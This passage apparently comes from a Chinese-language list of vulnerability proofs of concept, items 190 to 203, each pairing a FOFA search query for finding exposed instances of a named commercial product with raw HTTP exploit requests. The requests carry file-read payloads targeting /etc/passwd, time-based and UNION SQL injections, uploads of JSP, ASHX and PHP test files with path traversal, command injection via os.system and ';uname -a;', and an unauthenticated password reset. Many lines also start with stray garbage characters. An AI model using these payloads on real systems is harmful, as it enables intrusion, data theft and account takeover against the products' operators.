' j, X) ^) P% u4 \& B9 m* vAccept-Encoding: gzip, deflate
" C# J' c" O) u$ AAccept-Language: zh-CN,zh;q=0.9
Connection: close


$ Y+ F- i+ x8 h/ o190. 短视频矩阵营销系统 poihuoqu 任意文件读取
/ Z0 j* i6 T/ yFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
$ J7 ~) k9 x/ ~0 P$ ?9 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
& R. e; t5 N  vContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- w9 M1 J$ C, v; `0 i! G) G
- g6 o( v" M8 c0 |7 {( ^poi=file:///etc/passwd


191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
" r- j9 Q/ q! `7 `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; Q# r7 U- z; c. E6 vContent-Type: application/x-www-form-urlencoded

7 `1 B  y# y; y4 \command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
7 \4 m8 f! j& A; t$ O% a" {

8 [2 z$ d" C. `$ [1 _7 b192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
% e" R& }5 y' @  vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded


<% @ webhandler language="C#" class="AverageHandler" %>
$ L( W# f5 m! J2 z  i  R1 p) susing System;
8 z" R1 T3 u9 lusing System.Web;
3 @3 E7 p3 |  m' i8 F/ n4 \6 S: apublic class AverageHandler : IHttpHandler
{
public bool IsReusable
4 s, o+ k+ o$ n/ G: T9 e6 }{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
) K$ [. n& W: o) C# Nctx.Response.Write("test");
$ i* r- i9 f$ ]: ~$ A}
' X$ |' D1 j8 P}
$ L+ x: z. {; b* I4 X' S# f4 m

193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
+ W/ ?/ {& U  x2 O4 {* SHost:
Cookie: PHPSESSID=2333333333333;
& ?& e2 r) \, o7 sContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

( \' Z5 S+ f" d: y8 p
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
0 h) D, X! {( r& F$ \2 XAccept-Encoding: gzip, deflate
( c* v+ ^% `/ Y9 \0 hAccept: */*
: i3 D# g5 ?( d6 Y! FConnection: close
* ?# Y) P) ^2 P  Z1 OCookie: PHPSESSID=2333333333333;
/ i6 X4 g: i% Q- ?+ pContent-Type: application/x-www-form-urlencoded
Content-Length: 84

  P$ z4 t( {2 V' s0 h/ x: y; Qparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

/ I7 |; {6 ^3 S. T  V" z1 h
; f. e, s0 n" `1 u0 G, w! g1 a4 A0 b" P1 vGET /master/img/config HTTP/1.1
3 S; e* ]6 l% N; [' THost:
3 e+ t( a+ Q  ]User-Agent: Mozilla/5.0
! h+ q" f. @' g  U3 r0 z

3 ?. d# G; m1 o4 G194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
  D) X" ~/ _. y* F4 }- A3 i
' i+ s9 W' _% rPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 w: {; R3 k% aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 d$ R* P. b; z( d9 p9 V: h- `Accept-Encoding: gzip, deflate
  J' A; w# n& k5 G' k6 V6 NConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
" Z7 X! n$ e4 Z9 Q1 I) X% ZContent-Type: text/plain
<% out.println("hello");%>
7 f7 [, p& {* v2 D: ^------WebKitFormBoundaryKNt0t4vBe8cX9rZk
7 @- V5 U1 H, Q; d1 wContent-Disposition: form-data; name="json"
9 \4 X! `8 V, K {"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
" C  e: r8 n4 q& o5 h* E  vCache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 A4 f/ p1 ~+ J, G. J8 R. M$ @# _Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
4 l# _" A& }0 {% HContent-Length: 68
0 b1 r: k6 Q. s. X; a
{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

& B! I1 c2 D1 Q% I9 R+ J
196. 河南省风速科技统一认证平台密码重置
; B/ a5 W1 K' P4 TFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
( b; A/ ~- T: j' ~2 v6 w% \* xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' ?. O# m$ k5 _+ C4 e5 VContent-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
+ W6 i# l% V. n- }0 ~- rConnection: close
& L$ {* Y. `" a/ r
1 J; |% @4 F2 k/ L  K' @9 I3 J7 }{"xgh":"test","newPass":"test666","email":""}
- W1 V( a! M! R: Q


( `! s8 N% t0 b4 F/ f197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
( m0 ?1 P1 d' D2 H5 G/ v5 w( ZFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
$ V: w" J4 \  ~% }3 l, C/ I* zHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
" V4 l7 u3 Y1 J( w; LAccept-Encoding: gzip, deflate
Connection: close
5 t, ]3 z6 l3 K* o  Q0 o9 [' `


  Q) c; Q' Z, ^198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
8 b0 |9 t) P# ~GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
! x0 I3 w" M9 U! ]* f

199. cockpit系统assetsmanager_upload接口 文件上传

9 y, w3 o7 Q+ m6 n$ D3 X) b1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
* B. P; o" N3 _$ tGET /auth/login?to=/ HTTP/1.1

响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
* ^4 ]0 G7 g. L- c. v2 f8 G
2.使用刚才上一步获取到的jwt获取cookie：
; z: v$ p; R  p0 i1 g4 f% S
7 ^& q& J! ]* r5 BPOST /auth/check HTTP/1.1
1 }$ W; X! u1 M% G8 j7 T! mContent-Type: application/json
2 A1 w! I+ X0 o- b) z- _' b/ s
3 C& {/ ?* ^; d- m' [# r4 M{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
* c% m1 h5 T! a0 ]& k
响应：200，返回值:
% B% e& G% A! }( X, ?! ISet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
+ r  q* W/ k' l5 j& P& D: jPOST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
+ l- E- J2 K9 m, e  ]. k: WContent-Disposition: form-data; name="files[]"; filename="tttt.php"
: m* B0 b( y/ N/ K$ NContent-Type: text/php

9 E* ?- `8 v; W$ Y8 J/ z7 k1 v<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--
3 T- _" f  r' L! y* X2 i3 @7 i

/storage/uploads/tttt.php

* `7 R, U1 w8 J, J200. SeaCMS海洋影视管理系统dmku SQL注入
+ p4 L; Z* j4 ^) GFOFA：app="海洋CMS"
! @3 ~9 J/ C( t; _GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
! O0 r5 {8 A5 L8 {Cache-Control: max-age=0
4 s3 P; f- u% w9 Y5 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* E: k) D" z2 y$ b7 e

& d' ~$ N2 l: A9 w1 c* R' U201. 方正全媒体新闻采编系统 binary SQL注入
8 n/ R% [5 ~  h0 X% B  iFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
# w( F1 M( @$ |- B" gPOST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
8 Q% R- D: I/ a1 h+ {Accept-Language: zh-CN,zh;q=0.9
- K8 F, V$ s( e) l: ?4 Z9 vConnection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
6 Z: ^- e2 q+ _! A

' L& ?, o3 u/ |+ k( n7 E# r% N202. 微擎系统 AccountEdit任意文件上传
FOFA：body="/Widgets/WidgetCollection/"
8 X6 R. e6 G) x0 q. m" X获取__VIEWSTATE和__EVENTVALIDATION值
" [5 B- p0 ^* l( sGET /User/AccountEdit.aspx HTTP/1.1
5 V: t! s" e; y8 l! qHost: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
/ A: e* ]. O  ]* v7 k. b6 k+ aContent-Length: 0


4 ^. C9 |1 K/ R替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
& w& ~+ q  ]4 Y! u/ |: gContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

& W! M: c3 l, E6 _  Q. A6 t-----------------------------786435874t38587593865736587346567358735687
  I( ?: j% H; D$ C0 G0 T/ iContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"

$ m; ?. ~3 w5 D. h__EVENTVALIDATION
7 S* I& W+ x  ?5 }9 u-----------------------------786435874t38587593865736587346567358735687
7 O7 E/ r  F' W& Z; ?! ?+ NContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
7 N' E4 H3 U4 ^. u3 JContent-Type: text/plain

- f! B1 v, d* c' P) n* q. o. [1 XHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

3 P, M: a7 p# j; M
  y2 b* t$ T' }& R2 `" G-----------------------------786435874t38587593865736587346567358735687
8 t: G; J  s8 s" m- B! cContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


  R. g) q: G% r3 u5 ^-----------------------------786435874t38587593865736587346567358735687--
8 E. }- j; O7 u1 O5 \+ C
/ H, M, q+ }+ a0 J) f
/_data/Uploads/1123.txt

$ n5 U: q) r% H( n203. 红海云EHR PtFjk 文件上传
2 V: n( v; f. m; x* QFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
" \) i, }& J$ b: p* w6 A  {Host: x.x.x.x
8 k$ d; w2 G/ w- J. XAccept-Encoding: gzip
- T" ~4 D& c( cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
4 y, k+ I; C( {8 MContent-Length: 210
7 H: Q9 \% s# A, |5 \, \" d- X4 u- R
8 A  A, T) o8 V  n- h, w------WebKitFormBoundaryt7WbDl1tXogoZys4
8 \* ]' t+ A5 sContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
4 p5 H3 M0 E# SContent-Type:image/jpeg

. O$ M+ F& N" L6 Z9 J, e0 k: H<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
) t0 y  V' ?0 s: N

8 a- W. ]7 b" H% g; C( r

$ ^1 }2 h( k9 R% |+ U7 T

" a% S$ Q; k9 v